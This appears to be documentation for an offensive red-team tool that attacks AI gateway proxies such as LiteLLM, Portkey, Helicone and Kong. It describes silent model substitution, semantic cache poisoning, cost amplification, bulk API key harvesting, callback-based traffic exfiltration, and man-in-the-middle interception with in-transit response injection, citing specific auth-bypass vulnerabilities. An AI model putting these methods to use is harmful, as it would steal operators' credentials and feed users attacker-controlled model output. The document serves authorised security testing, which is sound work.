SPECTER LITESTRIKE

No key required. RECON and FINGERPRINT available. Passively discovers and profiles AI gateway proxy endpoints, routing configurations, upstream model assignments, and authentication posture without injecting or modifying traffic.

Requires LITESTRIKE_INJECT_KEY + ROE phrase "ai gateway injection authorised". Unlocks SUBSTITUTE, CACHE-POISON, AMPLIFY, and CALLBACK subsystems. Permits active exploitation of gateway APIs and semantic cache layers.

Requires LITESTRIKE_HARVEST_KEY + ROE phrase "ai gateway key harvest authorised". Unlocks EXHAUST and HARVEST-KEYS subsystems. Permits bulk API key extraction from proxy credential stores and cost amplification operations.

Requires LITESTRIKE_INTERCEPT_KEY + ROE phrase "ai traffic interception authorised" + --confirm-intercept flag. Unlocks INTERCEPT subsystem — full man-in-the-middle of AI gateway traffic, redirecting model calls to attacker-controlled endpoints.

Discovers AI gateway proxy instances across the target network and cloud infrastructure. Probes common deployment patterns for LiteLLM (port 4000/8000), OpenRouter API endpoints, Portkey (port 8787), Helicone proxy, Kong AI Gateway (8000/8001/8444), Traefik (80/443/8080), Azure API Management, and PromptLayer. Identifies authentication configuration, upstream model routing tables, rate-limit policies, and logging endpoints. Returns endpoint inventory with exploitation feasibility score per gateway type.

Silent model substitution at the gateway layer. Exploits misconfigured model routing to redirect LLM requests to a different upstream model without notifying the requesting application. Targets LiteLLM's model_list dynamic routing — injects a route that maps the requested model identifier to an attacker-specified upstream endpoint. Supports substitution to: openly-available models (cost reduction attack), degraded model variants (performance degradation), attacker-controlled inference endpoint (response control). Downstream application sees identical response format; substitution is invisible to consumers.

Semantic cache poisoning via adversarial prompt injection into AI gateway cache layers. LiteLLM's semantic cache uses embedding similarity to serve cached responses — injects a crafted prompt whose embedding is a nearest-neighbour match for legitimate target queries in the semantic space. The poisoned cache entry is served to all users whose queries are semantically similar to the target, replacing legitimate model responses with attacker-controlled content. Supports cosine and L2 similarity metrics. Measures cache hit rate for target query class post-injection. Poisons Helicone response cache via replay attack on recorded request/response pairs.

AI cost amplification via gateway abuse. Exploits LiteLLM's pass-through mode to route requests to the most expensive available model regardless of the requested model. Constructs recursive context-expansion prompts that maximise token consumption per request — synthetic "thinking chain" injection fills context windows to limit. Exploits rate-limit bypass vulnerabilities in Kong and Azure APIM AI Gateway plugins to issue requests at unlimited rate. Measures cost amplification ratio: actual spend vs authorised spend per request class. Supports targeted cost amplification (specific upstream provider) and total-spend maximisation variants.

Rate-limit exhaustion and quota burning. Identifies all API keys stored in the gateway's credential vault (LiteLLM database, PromptLayer project credentials, Portkey virtual key store). Issues requests on behalf of each key at the maximum rate until per-key quota is exhausted. Supports targeted exhaustion (specific key/provider) and full vault exhaustion. Measures time-to-zero for each key class. Computes estimated financial impact: tokens burned at market rate per provider. Requires LITESTRIKE_HARVEST_KEY + ROE "ai gateway key harvest authorised".

Bulk API key extraction from AI gateway credential stores. Exploits GHSA-4xpc-pv4p-pm3w (LiteLLM auth bypass) to access the /key/list admin endpoint without authentication — returns all virtual keys, their upstream provider mappings, associated spend, and creation metadata. Dumps PromptLayer API key store via misconfigured project-level read access. Extracts Portkey virtual key plaintext from the configuration API. Harvests Helicone API keys from organisation settings via IDOR. Azure APIM subscription keys via management API credential exposure. Returns structured credential inventory with provider, key hash, spend, and rate-limit status per entry.

Server-Side Request Forgery via AI gateway callback configuration. LiteLLM supports configurable success/failure callbacks — injects a callback URL pointing to an attacker-controlled server, causing the gateway to POST every LLM request and response payload to the attacker's endpoint. Enables passive harvest of all AI traffic transiting the gateway without modifying responses. Exploits Portkey's webhook configuration to register attacker-controlled logging endpoints. Measures callback coverage: percentage of requests forwarded to attacker endpoint vs total gateway traffic volume.

Deep fingerprinting of discovered gateway instances. Extracts version string, upstream model routing table (model names, providers, weight/priority), virtual key count, active session count, semantic cache configuration (similarity threshold, TTL, backend), and logging/monitoring integrations. Probes authentication configuration: API key required, OAuth/JWT, IP allowlist, or unauthenticated admin panel. Maps Kong plugin chain and Traefik middleware stack. Identifies Azure APIM policies (rate limit, quota, IP filter). Scores exploitation feasibility per endpoint: unauthenticated (critical), auth bypass applicable (high), authenticated (medium).

Full man-in-the-middle interception of AI gateway traffic. Exploits CVE-2026-42271 (CISA KEV, CVSS 9.8) — a critical authentication bypass in LiteLLM's admin API allowing unauthenticated reconfiguration of the model routing table. Redirects all upstream model calls to an attacker-controlled inference endpoint that proxies to the legitimate provider while logging, modifying, or replacing request/response payloads. Supports selective interception by model, virtual key, or requesting IP. Implements response injection: real-time modification of LLM responses in transit — factual replacement, instruction insertion, metadata stripping. Requires LITESTRIKE_INTERCEPT_KEY + ROE "ai traffic interception authorised" + --confirm-intercept.

Generates LTS-{hex12} session report. Collects all subsystem results. Produces structured JSON: gateway inventory with auth posture, CVEs exploited with CVSS scores, substitution coverage (fraction of target model calls redirected), cache poison hit rate for target query class, API keys harvested (count and provider breakdown), traffic interception volume (requests intercepted / total gateway traffic), cost amplification ratio, and full evidence chain. Ed25519 signs with ~/.red-specter/litestrike/signing_key.pem. ML-DSA-65 countersigns. MITRE ATT&CK and ATLAS mapping. Saves to ~/.red-specter/litestrike/reports/.

CVE-2026-42271 CISA KEV CVSS 9.8. GHSA-4xpc-pv4p-pm3w auth bypass. Unauthenticated admin API on default installs. Full model routing reconfiguration, virtual key dump, semantic cache manipulation. Most widely deployed open-source AI gateway.

API key harvest via exposed dashboard credentials. Model routing manipulation via API parameter injection. Rate-limit bypass via concurrent session key rotation. Response correlation attack via timing analysis across shared inference pools.

Virtual key plaintext extraction from configuration API. Webhook endpoint injection for passive traffic logging. Model fallback chain manipulation — injects attacker-controlled model at highest priority in fallback stack. GHSA-53mr-6c8q-9789 privilege escalation.

API key harvest via IDOR on organisation settings endpoint. Response cache poisoning via replay injection into cached request hashes. Logging webhook hijack — registers attacker endpoint as secondary log destination, receiving copies of all proxied AI traffic.

Admin API unauthenticated on default port 8001. Plugin chain manipulation — injects malicious AI plugin at head of processing chain. Rate-limit plugin bypass via X-Consumer-ID header spoofing. Credential vault dump via Admin API /credentials endpoint.

Dashboard API unauthenticated on default port 8080. Dynamic router reconfiguration via API — redirects AI provider routes to attacker-controlled upstream. Middleware chain injection: inserts logging/modification middleware before AI provider backends. TLS termination MITM via certificate authority manipulation.

Management API subscription key enumeration via misconfigured RBAC. AI Gateway policy injection — inserts custom inbound policy to log and modify request bodies. Rate-limit policy bypass via subscription key rotation. Backend URL reconfiguration via management plane API.

Project API key harvest via misconfigured project-level read access. Request logging endpoint injection — registers attacker-controlled secondary log target. Prompt template exfiltration via template library read access. Historical request dump via unrestricted request log API.

CVSS 9.8. Critical unauthenticated access to LiteLLM's administrative API endpoints. The /model/new, /model/update, and /config/update admin endpoints fail to enforce authentication when the proxy is deployed without an explicit master key. An attacker can add arbitrary upstream model configurations, redirect existing model routes to attacker-controlled endpoints, enable/disable models, and modify the global proxy configuration — achieving full man-in-the-middle of all downstream AI traffic without any credentials.

LiteLLM virtual key authentication bypass. The /key/list endpoint returns all virtual keys and their associated metadata — upstream provider, spend limits, usage statistics, and creation timestamps — when called with a malformed bearer token that passes the regex validation but fails the database lookup, triggering a fallback to unauthenticated access. Affected versions: LiteLLM 1.x prior to the patch window. Results in complete API key inventory disclosure for all tenants sharing the proxy instance.

Portkey privilege escalation via workspace role misconfiguration. A user with read-only access to a Portkey workspace can escalate to write access on virtual key management endpoints by manipulating the workspace ID parameter in API calls. The access control check validates the user's role against the requested workspace but does not validate that the virtual key being modified belongs to that workspace. Enables cross-workspace virtual key exfiltration and modification by any authenticated Portkey user.

AI gateway semantic caches are uniquely vulnerable to poisoning because: (1) cache lookups use embedding similarity rather than exact match, creating a wide attack window; (2) a single poisoned entry can serve attacker-controlled responses to thousands of semantically-similar legitimate queries; (3) cache TTLs are typically long (hours to days), sustaining the attack; and (4) downstream applications have no mechanism to detect cache-sourced response substitution. LITESTRIKE's CACHE-POISON subsystem demonstrates that the semantic cache layer is the most scalable attack surface in deployed AI gateway infrastructure.

T1190 — Exploit Public-Facing Application T1557 — Adversary-in-the-Middle T1552 — Unsecured Credentials T1565 — Data Manipulation T1499 — Endpoint Denial of Service T1602 — Data from Configuration Repository

AML.T0047 — Discover ML Model Ontology AML.T0040 — ML Model Inference API Access AML.T0057 — LLM Data Leakage AML.T0054 — LLM Prompt Injection via Proxy AML.T0025 — Exfiltrate ML Model